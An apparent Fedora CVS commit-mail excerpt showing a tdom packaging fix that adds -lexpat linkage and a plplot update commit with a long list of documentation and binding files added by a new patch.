+@@ -118,7 +118,7 @@
+ RANLIB_STUB	= @RANLIB_STUB@
+ SHLIB_CFLAGS	= @SHLIB_CFLAGS@
+ SHLIB_LD	= @SHLIB_LD@
+-SHLIB_LD_LIBS	= @SHLIB_LD_LIBS@
++SHLIB_LD_LIBS	= @SHLIB_LD_LIBS@ -lexpat
+ STLIB_LD	= @STLIB_LD@
+ #TCL_DEFS	= @TCL_DEFS@
+ TCL_BIN_DIR	= @TCL_BIN_DIR@
 @@ -296,7 +296,7 @@
  # As necessary, add $(srcdir):$(srcdir)/compat:....
  #========================================================================


Index: tdom.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tdom/EL-5/tdom.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- tdom.spec	25 Jun 2008 22:05:46 -0000	1.3
+++ tdom.spec	30 Oct 2009 15:27:29 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           tdom
 Version:        0.8.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        DOM parser for Tcl
 
 Group:          Development/Libraries
@@ -63,6 +63,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.2-3
+- Actually update patch to add missing linkage against -lexpat
+
 * Sun Sep 23 2007 Wart <wart at kobold.org> - 0.8.2-2
 - Added missing linkage against -lexpat
 



From orion at fedoraproject.org  Fri Oct 30 16:00:16 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 16:00:16 +0000 (UTC)
Subject: rpms/plplot/devel plplot-5.9.5-svn10561.patch, NONE, 1.1 plplot.spec,
	1.91, 1.92
Message-ID: <20091030160016.BF3D311C0371@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/plplot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1215

Modified Files:
	plplot.spec 
Added Files:
	plplot-5.9.5-svn10561.patch 
Log Message:
* Fri Oct 30 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-4
- Update to svn 10561 to fix build issues


plplot-5.9.5-svn10561.patch:
 plplot-5.9.5/bindings/f95/plflt.c                            |only
 plplot-5.9.5/bindings/ocaml/META.cmake                       |only
 plplot-5.9.5/bindings/ocaml/libplplot_stubs.clib             |only
 plplot-5.9.5/bindings/ocaml/myocamlbuild.ml.cmake            |only
 plplot-5.9.5/bindings/ocaml/plcairo/META                     |only
 plplot-5.9.5/bindings/ocaml/plcairo/Makefile                 |only
 plplot-5.9.5/bindings/ocaml/plcairo/README.plcairo           |only
 plplot-5.9.5/bindings/ocaml/plcairo/_tags                    |only
 plplot-5.9.5/bindings/ocaml/plcairo/libplcairo_stubs.clib    |only
 plplot-5.9.5/bindings/ocaml/plcairo/myocamlbuild.ml          |only
 plplot-5.9.5/bindings/ocaml/plplot.idl                       |only
 plplot-5.9.5/bindings/octave/plplot_octave_txt               |only
 plplot-5.9.5/doc/docbook/src/HTML-MANIFEST                   |only
 plplot-5.9.5/doc/docbook/src/INFO-MANIFEST                   |only
 plplot-5.9.5/doc/docbook/src/MAN-MANIFEST                    |only
 plplot-5.9.5/doc/docbook/src/acquiring-plplot.html           |only
 plplot-5.9.5/doc/docbook/src/ada.html                        |only
 plplot-5.9.5/doc/docbook/src/ada_apple_notes.html            |only
 plplot-5.9.5/doc/docbook/src/ada_bindings.html               |only
 plplot-5.9.5/doc/docbook/src/ada_c_flavor.html               |only
 plplot-5.9.5/doc/docbook/src/ada_compilation_notes.html      |only
 plplot-5.9.5/doc/docbook/src/ada_examples.html               |only
 plplot-5.9.5/doc/docbook/src/ada_howto.html                  |only
 plplot-5.9.5/doc/docbook/src/ada_known_variances.html        |only
 plplot-5.9.5/doc/docbook/src/ada_obtaining.html              |only
 plplot-5.9.5/doc/docbook/src/ada_unique.html                 |only
 plplot-5.9.5/doc/docbook/src/advanced.html                   |only
 plplot-5.9.5/doc/docbook/src/api-c.html                      |only
 plplot-5.9.5/doc/docbook/src/api-compat.html                 |only
 plplot-5.9.5/doc/docbook/src/api-fortran-77.html             |only
 plplot-5.9.5/doc/docbook/src/api-fortran-95.html             |only
 plplot-5.9.5/doc/docbook/src/api-internal.html               |only
 plplot-5.9.5/doc/docbook/src/api-obsolete.html               |only
 plplot-5.9.5/doc/docbook/src/api.html                        |only
 plplot-5.9.5/doc/docbook/src/api_regression_tests.html       |only
 plplot-5.9.5/doc/docbook/src/aqt-driver.html                 |only
 plplot-5.9.5/doc/docbook/src/bibliography.html               |only
 plplot-5.9.5/doc/docbook/src/c.html                          |only
 plplot-5.9.5/doc/docbook/src/characters.html                 |only
 plplot-5.9.5/doc/docbook/src/color.html                      |only
 plplot-5.9.5/doc/docbook/src/contour-plots.html              |only
 plplot-5.9.5/doc/docbook/src/copyrights.html                 |only
 plplot-5.9.5/doc/docbook/src/core-library.html               |only
 plplot-5.9.5/doc/docbook/src/cpluscplus-design.html          |only
 plplot-5.9.5/doc/docbook/src/cpluscplus-specializing.html    |only
 plplot-5.9.5/doc/docbook/src/cpluscplus-status.html          |only
 plplot-5.9.5/doc/docbook/src/cplusplus.html                  |only
 plplot-5.9.5/doc/docbook/src/credits.html                    |only
 plplot-5.9.5/doc/docbook/src/custom-extensions-tcl.html      |only
 plplot-5.9.5/doc/docbook/src/deploying.html                  |only
 plplot-5.9.5/doc/docbook/src/device-driver-libraries.html    |only
 plplot-5.9.5/doc/docbook/src/djgpp-notes.html                |only
 plplot-5.9.5/doc/docbook/src/drawing.html                    |only
 plplot-5.9.5/doc/docbook/src/enhancement-libraries.html      |only
 plplot-5.9.5/doc/docbook/src/error.html                      |only
 plplot-5.9.5/doc/docbook/src/extended-wish.html              |only
 plplot-5.9.5/doc/docbook/src/extensions-tcl.html             |only
 plplot-5.9.5/doc/docbook/src/fill-pattern.html               |only
 plplot-5.9.5/doc/docbook/src/finishing.html                  |only
 plplot-5.9.5/doc/docbook/src/fortran77.html                  |only
 plplot-5.9.5/doc/docbook/src/fortran95.html                  |only
 plplot-5.9.5/doc/docbook/src/freetype-notes.html             |only
 plplot-5.9.5/doc/docbook/src/gcw-driver.html                 |only
 plplot-5.9.5/doc/docbook/src/gui.html                        |only
 plplot-5.9.5/doc/docbook/src/index.html                      |only
 plplot-5.9.5/doc/docbook/src/initializing.html               |only
 plplot-5.9.5/doc/docbook/src/installing.html                 |only
 plplot-5.9.5/doc/docbook/src/intro.html                      |only
 plplot-5.9.5/doc/docbook/src/introduction-itcl.html          |only
 plplot-5.9.5/doc/docbook/src/introduction-tk.html            |only
 plplot-5.9.5/doc/docbook/src/labelling.html                  |only
 plplot-5.9.5/doc/docbook/src/latex-postscript-driver.html    |only
 plplot-5.9.5/doc/docbook/src/libraries.html                  |only
 plplot-5.9.5/doc/docbook/src/line-attributes.html            |only
 plplot-5.9.5/doc/docbook/src/ocaml.html                      |only
 plplot-5.9.5/doc/docbook/src/ocaml_bindings.html             |only
 plplot-5.9.5/doc/docbook/src/ocaml_examples.html             |only
 plplot-5.9.5/doc/docbook/src/ocaml_howto.html                |only
 plplot-5.9.5/doc/docbook/src/ocaml_known_issues.html         |only
 plplot-5.9.5/doc/docbook/src/ocaml_obtaining.html            |only
 plplot-5.9.5/doc/docbook/src/organization.html               |only
 plplot-5.9.5/doc/docbook/src/os-notes.html                   |only
 plplot-5.9.5/doc/docbook/src/output-devices.html             |only
 plplot-5.9.5/doc/docbook/src/output-drivers.html             |only
 plplot-5.9.5/doc/docbook/src/part_bindings.html              |only
 plplot-5.9.5/doc/docbook/src/part_introduction.html          |only
 plplot-5.9.5/doc/docbook/src/part_programming.html           |only
 plplot-5.9.5/doc/docbook/src/part_reference.html             |only
 plplot-5.9.5/doc/docbook/src/pdf-driver.html                 |only
 plplot-5.9.5/doc/docbook/src/perl.html                       |only
 plplot-5.9.5/doc/docbook/src/pl_setcontlabelformat.3plplot   |only
 plplot-5.9.5/doc/docbook/src/pl_setcontlabelparam.3plplot    |only
 plplot-5.9.5/doc/docbook/src/pl_setcontlabelparam.html       |only
 plplot-5.9.5/doc/docbook/src/pladv.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/pladv.html                      |only
 plplot-5.9.5/doc/docbook/src/plalloc2dgrid.html              |only
 plplot-5.9.5/doc/docbook/src/plaxes.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plaxes.html                     |only
 plplot-5.9.5/doc/docbook/src/plbin.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plbin.html                      |only
 plplot-5.9.5/doc/docbook/src/plbop.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plbop.html                      |only
 plplot-5.9.5/doc/docbook/src/plbox.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plbox.html                      |only
 plplot-5.9.5/doc/docbook/src/plbox3.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plbox3.html                     |only
 plplot-5.9.5/doc/docbook/src/plcalc_world.3plplot            |only
 plplot-5.9.5/doc/docbook/src/plcalc_world.html               |only
 plplot-5.9.5/doc/docbook/src/plclear.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plclear.html                    |only
 plplot-5.9.5/doc/docbook/src/plclearopts.html                |only
 plplot-5.9.5/doc/docbook/src/plcol.html                      |only
 plplot-5.9.5/doc/docbook/src/plcol0.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plcol0.html                     |only
 plplot-5.9.5/doc/docbook/src/plcol1.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plcol1.html                     |only
 plplot-5.9.5/doc/docbook/src/plcon1.html                     |only
 plplot-5.9.5/doc/docbook/src/plcon2.html                     |only
 plplot-5.9.5/doc/docbook/src/plcont.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plcont.html                     |only
 plplot-5.9.5/doc/docbook/src/plcontfortran77.html            |only
 plplot-5.9.5/doc/docbook/src/plcpstrm.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plcpstrm.html                   |only
 plplot-5.9.5/doc/docbook/src/plend.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plend.html                      |only
 plplot-5.9.5/doc/docbook/src/plend1.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plend1.html                     |only
 plplot-5.9.5/doc/docbook/src/plenv.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plenv.html                      |only
 plplot-5.9.5/doc/docbook/src/plenv0.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plenv0.html                     |only
 plplot-5.9.5/doc/docbook/src/pleop.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/pleop.html                      |only
 plplot-5.9.5/doc/docbook/src/plerrx.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plerrx.html                     |only
 plplot-5.9.5/doc/docbook/src/plerry.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plerry.html                     |only
 plplot-5.9.5/doc/docbook/src/plexit.html                     |only
 plplot-5.9.5/doc/docbook/src/plfamadv.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plfamadv.html                   |only
 plplot-5.9.5/doc/docbook/src/plfill.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plfill.html                     |only
 plplot-5.9.5/doc/docbook/src/plfill3.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plfill3.html                    |only
 plplot-5.9.5/doc/docbook/src/plflush.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plflush.html                    |only
 plplot-5.9.5/doc/docbook/src/plfont.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plfont.html                     |only
 plplot-5.9.5/doc/docbook/src/plfontld.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plfontld.html                   |only
 plplot-5.9.5/doc/docbook/src/plfree2dgrid.html               |only
 plplot-5.9.5/doc/docbook/src/plgchr.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgchr.html                     |only
 plplot-5.9.5/doc/docbook/src/plgcol0.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plgcol0.html                    |only
 plplot-5.9.5/doc/docbook/src/plgcol0a.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plgcol0a.html                   |only
 plplot-5.9.5/doc/docbook/src/plgcolbg.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plgcolbg.html                   |only
 plplot-5.9.5/doc/docbook/src/plgcolbga.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plgcolbga.html                  |only
 plplot-5.9.5/doc/docbook/src/plgcompression.3plplot          |only
 plplot-5.9.5/doc/docbook/src/plgcompression.html             |only
 plplot-5.9.5/doc/docbook/src/plgdev.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgdev.html                     |only
 plplot-5.9.5/doc/docbook/src/plgdidev.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plgdidev.html                   |only
 plplot-5.9.5/doc/docbook/src/plgdiori.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plgdiori.html                   |only
 plplot-5.9.5/doc/docbook/src/plgdiplt.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plgdiplt.html                   |only
 plplot-5.9.5/doc/docbook/src/plgetcursor.html                |only
 plplot-5.9.5/doc/docbook/src/plgfam.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgfam.html                     |only
 plplot-5.9.5/doc/docbook/src/plgfci.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgfci.html                     |only
 plplot-5.9.5/doc/docbook/src/plgfile.html                    |only
 plplot-5.9.5/doc/docbook/src/plgfnam.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plgfnam.html                    |only
 plplot-5.9.5/doc/docbook/src/plgfont.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plgfont.html                    |only
 plplot-5.9.5/doc/docbook/src/plglevel.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plglevel.html                   |only
 plplot-5.9.5/doc/docbook/src/plgpage.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plgpage.html                    |only
 plplot-5.9.5/doc/docbook/src/plgra.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plgra.html                      |only
 plplot-5.9.5/doc/docbook/src/plgraphicsin.html               |only
 plplot-5.9.5/doc/docbook/src/plgriddata.3plplot              |only
 plplot-5.9.5/doc/docbook/src/plgriddata.html                 |only
 plplot-5.9.5/doc/docbook/src/plgspa.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgspa.html                     |only
 plplot-5.9.5/doc/docbook/src/plgstrm.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plgstrm.html                    |only
 plplot-5.9.5/doc/docbook/src/plgver.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgver.html                     |only
 plplot-5.9.5/doc/docbook/src/plgvpd.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgvpd.html                     |only
 plplot-5.9.5/doc/docbook/src/plgvpw.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgvpw.html                     |only
 plplot-5.9.5/doc/docbook/src/plgxax.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgxax.html                     |only
 plplot-5.9.5/doc/docbook/src/plgyax.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgyax.html                     |only
 plplot-5.9.5/doc/docbook/src/plgzax.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plgzax.html                     |only
 plplot-5.9.5/doc/docbook/src/plhist.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plhist.html                     |only
 plplot-5.9.5/doc/docbook/src/plhls.html                      |only
 plplot-5.9.5/doc/docbook/src/plhls_rgb.html                  |only
 plplot-5.9.5/doc/docbook/src/plhlsrgb.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plhlsrgb.html                   |only
 plplot-5.9.5/doc/docbook/src/plimage.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plimage.html                    |only
 plplot-5.9.5/doc/docbook/src/plimagefr.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plimagefr.html                  |only
 plplot-5.9.5/doc/docbook/src/plinit.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plinit.html                     |only
 plplot-5.9.5/doc/docbook/src/pljoin.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/pljoin.html                     |only
 plplot-5.9.5/doc/docbook/src/pllab.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/pllab.html                      |only
 plplot-5.9.5/doc/docbook/src/pllightsource.3plplot           |only
 plplot-5.9.5/doc/docbook/src/pllightsource.html              |only
 plplot-5.9.5/doc/docbook/src/plline.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plline.html                     |only
 plplot-5.9.5/doc/docbook/src/plline3.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plline3.html                    |only
 plplot-5.9.5/doc/docbook/src/pllsty.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/pllsty.html                     |only
 plplot-5.9.5/doc/docbook/src/plmap.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plmap.html                      |only
 plplot-5.9.5/doc/docbook/src/plmergeopts.html                |only
 plplot-5.9.5/doc/docbook/src/plmeridians.3plplot             |only
 plplot-5.9.5/doc/docbook/src/plmeridians.html                |only
 plplot-5.9.5/doc/docbook/src/plmesh.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plmesh.html                     |only
 plplot-5.9.5/doc/docbook/src/plmeshc.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plmeshc.html                    |only
 plplot-5.9.5/doc/docbook/src/plmeshfortran77.html            |only
 plplot-5.9.5/doc/docbook/src/plmeshfortran95.html            |only
 plplot-5.9.5/doc/docbook/src/plminmax2dgrid.html             |only
 plplot-5.9.5/doc/docbook/src/plmkstrm.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plmkstrm.html                   |only
 plplot-5.9.5/doc/docbook/src/plmtex.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plmtex.html                     |only
 plplot-5.9.5/doc/docbook/src/plmtex3.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plmtex3.html                    |only
 plplot-5.9.5/doc/docbook/src/ploptiontable.html              |only
 plplot-5.9.5/doc/docbook/src/ploptusage.html                 |only
 plplot-5.9.5/doc/docbook/src/plot3d.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plot3d.html                     |only
 plplot-5.9.5/doc/docbook/src/plot3dc.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plot3dc.html                    |only
 plplot-5.9.5/doc/docbook/src/plot3dfortran77.html            |only
 plplot-5.9.5/doc/docbook/src/plot3dfortran95.html            |only
 plplot-5.9.5/doc/docbook/src/plp_getinitdriverlist.html      |only
 plplot-5.9.5/doc/docbook/src/plpage.html                     |only
 plplot-5.9.5/doc/docbook/src/plparseopts.3plplot             |only
 plplot-5.9.5/doc/docbook/src/plparseopts.html                |only
 plplot-5.9.5/doc/docbook/src/plparseoptsfortran77.html       |only
 plplot-5.9.5/doc/docbook/src/plparseoptsfortran95.html       |only
 plplot-5.9.5/doc/docbook/src/plpat.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plpat.html                      |only
 plplot-5.9.5/doc/docbook/src/plplot-5.9.5.dvi                |only
 plplot-5.9.5/doc/docbook/src/plplot-5.9.5.jadetex            |only
 plplot-5.9.5/doc/docbook/src/plplot-5.9.5.pdf                |only
 plplot-5.9.5/doc/docbook/src/plplot-5.9.5.ps.gz              |only
 plplot-5.9.5/doc/docbook/src/plplot-structs.txt              |only
 plplot-5.9.5/doc/docbook/src/plplot-symbols.txt              |only
 plplot-5.9.5/doc/docbook/src/plplot.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plplotdoc.info                  |only
 plplot-5.9.5/doc/docbook/src/plplotdoc.info-1                |only
 plplot-5.9.5/doc/docbook/src/plplotdoc.info-2                |only
 plplot-5.9.5/doc/docbook/src/plplotdoc.info-3                |only
 plplot-5.9.5/doc/docbook/src/plplotdoc.texi                  |only
 plplot-5.9.5/doc/docbook/src/plplotdoc.txml                  |only
 plplot-5.9.5/doc/docbook/src/plplotdoc.xml-info              |only
 plplot-5.9.5/doc/docbook/src/plpoin.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plpoin.html                     |only
 plplot-5.9.5/doc/docbook/src/plpoin3.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plpoin3.html                    |only
 plplot-5.9.5/doc/docbook/src/plpoly3.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plpoly3.html                    |only
 plplot-5.9.5/doc/docbook/src/plprec.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plprec.html                     |only
 plplot-5.9.5/doc/docbook/src/plpsty.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plpsty.html                     |only
 plplot-5.9.5/doc/docbook/src/plptex.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plptex.html                     |only
 plplot-5.9.5/doc/docbook/src/plptex3.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plptex3.html                    |only
 plplot-5.9.5/doc/docbook/src/plrandd.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plrandd.html                    |only
 plplot-5.9.5/doc/docbook/src/plreplot.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plreplot.html                   |only
 plplot-5.9.5/doc/docbook/src/plresetopts.html                |only
 plplot-5.9.5/doc/docbook/src/plrgb.html                      |only
 plplot-5.9.5/doc/docbook/src/plrgb1.html                     |only
 plplot-5.9.5/doc/docbook/src/plrgbhls.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plrgbhls.html                   |only
 plplot-5.9.5/doc/docbook/src/plsabort.html                   |only
 plplot-5.9.5/doc/docbook/src/plschr.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plschr.html                     |only
 plplot-5.9.5/doc/docbook/src/plscmap0.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plscmap0.html                   |only
 plplot-5.9.5/doc/docbook/src/plscmap0a.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plscmap0a.html                  |only
 plplot-5.9.5/doc/docbook/src/plscmap0n.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plscmap0n.html                  |only
 plplot-5.9.5/doc/docbook/src/plscmap1.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plscmap1.html                   |only
 plplot-5.9.5/doc/docbook/src/plscmap1a.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plscmap1a.html                  |only
 plplot-5.9.5/doc/docbook/src/plscmap1l.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plscmap1l.html                  |only
 plplot-5.9.5/doc/docbook/src/plscmap1la.3plplot              |only
 plplot-5.9.5/doc/docbook/src/plscmap1la.html                 |only
 plplot-5.9.5/doc/docbook/src/plscmap1n.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plscmap1n.html                  |only
 plplot-5.9.5/doc/docbook/src/plscol0.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plscol0.html                    |only
 plplot-5.9.5/doc/docbook/src/plscol0a.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plscol0a.html                   |only
 plplot-5.9.5/doc/docbook/src/plscolbg.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plscolbg.html                   |only
 plplot-5.9.5/doc/docbook/src/plscolbga.3plplot               |only
 plplot-5.9.5/doc/docbook/src/plscolbga.html                  |only
 plplot-5.9.5/doc/docbook/src/plscolor.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plscolor.html                   |only
 plplot-5.9.5/doc/docbook/src/plscompression.3plplot          |only
 plplot-5.9.5/doc/docbook/src/plscompression.html             |only
 plplot-5.9.5/doc/docbook/src/plsdev.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsdev.html                     |only
 plplot-5.9.5/doc/docbook/src/plsdidev.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plsdidev.html                   |only
 plplot-5.9.5/doc/docbook/src/plsdimap.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plsdimap.html                   |only
 plplot-5.9.5/doc/docbook/src/plsdiori.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plsdiori.html                   |only
 plplot-5.9.5/doc/docbook/src/plsdiplt.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plsdiplt.html                   |only
 plplot-5.9.5/doc/docbook/src/plsdiplz.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plsdiplz.html                   |only
 plplot-5.9.5/doc/docbook/src/plseed.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plseed.html                     |only
 plplot-5.9.5/doc/docbook/src/plsesc.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsesc.html                     |only
 plplot-5.9.5/doc/docbook/src/plsescfortran77.html            |only
 plplot-5.9.5/doc/docbook/src/plsescfortran95.html            |only
 plplot-5.9.5/doc/docbook/src/plsetopt.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plsetopt.html                   |only
 plplot-5.9.5/doc/docbook/src/plsetusage.html                 |only
 plplot-5.9.5/doc/docbook/src/plsexit.html                    |only
 plplot-5.9.5/doc/docbook/src/plsfam.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsfam.html                     |only
 plplot-5.9.5/doc/docbook/src/plsfci.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsfci.html                     |only
 plplot-5.9.5/doc/docbook/src/plsfile.html                    |only
 plplot-5.9.5/doc/docbook/src/plsfnam.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plsfnam.html                    |only
 plplot-5.9.5/doc/docbook/src/plsfont.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plsfont.html                    |only
 plplot-5.9.5/doc/docbook/src/plshade.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plshade.html                    |only
 plplot-5.9.5/doc/docbook/src/plshade1.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plshade1.html                   |only
 plplot-5.9.5/doc/docbook/src/plshadefortran95.html           |only
 plplot-5.9.5/doc/docbook/src/plshades.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plshades.html                   |only
 plplot-5.9.5/doc/docbook/src/plshadesfortran95.html          |only
 plplot-5.9.5/doc/docbook/src/plslabelfunc.3plplot            |only
 plplot-5.9.5/doc/docbook/src/plslabelfunc.html               |only
 plplot-5.9.5/doc/docbook/src/plsmaj.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsmaj.html                     |only
 plplot-5.9.5/doc/docbook/src/plsmem.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsmem.html                     |only
 plplot-5.9.5/doc/docbook/src/plsmin.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsmin.html                     |only
 plplot-5.9.5/doc/docbook/src/plsori.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsori.html                     |only
 plplot-5.9.5/doc/docbook/src/plspage.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plspage.html                    |only
 plplot-5.9.5/doc/docbook/src/plspause.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plspause.html                   |only
 plplot-5.9.5/doc/docbook/src/plsstrm.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plsstrm.html                    |only
 plplot-5.9.5/doc/docbook/src/plssub.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plssub.html                     |only
 plplot-5.9.5/doc/docbook/src/plssym.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plssym.html                     |only
 plplot-5.9.5/doc/docbook/src/plstar.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plstar.html                     |only
 plplot-5.9.5/doc/docbook/src/plstart.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plstart.html                    |only
 plplot-5.9.5/doc/docbook/src/plstripa.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plstripa.html                   |only
 plplot-5.9.5/doc/docbook/src/plstripc.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plstripc.html                   |only
 plplot-5.9.5/doc/docbook/src/plstripd.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plstripd.html                   |only
 plplot-5.9.5/doc/docbook/src/plstyl.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plstyl.html                     |only
 plplot-5.9.5/doc/docbook/src/plsurf3d.3plplot                |only
 plplot-5.9.5/doc/docbook/src/plsurf3d.html                   |only
 plplot-5.9.5/doc/docbook/src/plsvect.3plplot                 |only
 plplot-5.9.5/doc/docbook/src/plsvect.html                    |only
 plplot-5.9.5/doc/docbook/src/plsvpa.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsvpa.html                     |only
 plplot-5.9.5/doc/docbook/src/plsxax.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsxax.html                     |only
 plplot-5.9.5/doc/docbook/src/plsyax.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plsyax.html                     |only
 plplot-5.9.5/doc/docbook/src/plsym.3plplot                   |only
 plplot-5.9.5/doc/docbook/src/plsym.html                      |only
 plplot-5.9.5/doc/docbook/src/plszax.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plszax.html                     |only
 plplot-5.9.5/doc/docbook/src/pltext.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/pltext.html                     |only
 plplot-5.9.5/doc/docbook/src/pltimefmt.3plplot               |only
 plplot-5.9.5/doc/docbook/src/pltimefmt.html                  |only
 plplot-5.9.5/doc/docbook/src/pltr0.html                      |only
 plplot-5.9.5/doc/docbook/src/pltr1.html                      |only
 plplot-5.9.5/doc/docbook/src/pltr2.html                      |only
 plplot-5.9.5/doc/docbook/src/plvasp.3plplot                  |only
 plplot-5.9.5/doc/docbook/src/plvasp.html                     |only
 plplot-5.9.5/doc/docbook/src/plvec0.html                     |only
